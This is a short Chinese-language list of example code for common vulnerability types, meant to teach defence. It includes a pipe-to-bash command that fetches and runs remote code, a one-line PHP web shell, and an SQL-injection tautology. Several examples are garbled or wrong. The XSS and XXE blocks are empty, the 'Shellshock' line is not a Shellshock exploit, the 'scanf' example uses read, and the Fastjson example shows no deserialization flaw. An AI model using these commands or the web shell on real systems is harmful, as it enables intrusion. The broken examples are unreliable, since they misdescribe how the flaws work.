程序漏洞的例子可以根据不同的漏洞类型来编写。以下是一些常见漏洞类型的例子:
缓冲区溢出漏洞
例子1:使用`gets()`函数未限制输入长度,导致缓冲区溢出。
```c
char buf[BUFSIZE];
gets(buf); // 用户控制输入
```
例子2:使用`scanf()`函数未限制输入长度,导致缓冲区溢出。
```c
char buf, in[MAX_SIZE];
printf("Enter buffer contents:\n");
read(0, in, MAX_SIZE-1);
printf("Bytes to copy:\n");
scanf("%d", &bytes); // 用户控制输入
memcpy(buf, in, bytes);
```
SQL注入漏洞
例子1:通过在SQL查询中直接插入用户输入,导致SQL注入。
```sql
SELECT * FROM users WHERE name = 'admin' OR '1'='1';
```
例子2:使用参数化查询来防止SQL注入。
```java
String query = "SELECT * FROM users WHERE name = ?";
PreparedStatement pstmt = connection.prepareStatement(query);
pstmt.setString(1, username);
ResultSet rs = pstmt.executeQuery();
```
XSS(跨站脚本)漏洞
例子1:在用户输入中插入恶意脚本,并在页面上显示。
```html
```
Shellshock漏洞
例子1:利用Shellshock漏洞执行任意命令。
```bash
curl -s 'http://example.com/shellshock' | bash
```
XXE漏洞
例子1:通过XML输入解析引入恶意外部实体,执行系统命令。
```xml
]>
```
命令执行漏洞
例子1:通过Web服务器程序执行系统命令。
```php
<?php
system($_GET['cmd']);
?>
```
JSON反序列化漏洞
例子1:通过Fastjson反序列化漏洞执行恶意代码。
```java
public class User {
private String name;
// getters and setters
}
String json = "{ \"name\": \"admin\", \"cmd\": \"ls -la\" }";
User user = JSON.parseObject(json, User.class);
user.getName(); // 用户控制的输入
```
这些例子展示了不同类型漏洞的具体表现和攻击方式,帮助理解和防范这些常见的安全威胁。建议在实际应用中,对用户输入进行严格的过滤和验证,使用安全的编程实践来避免这些漏洞。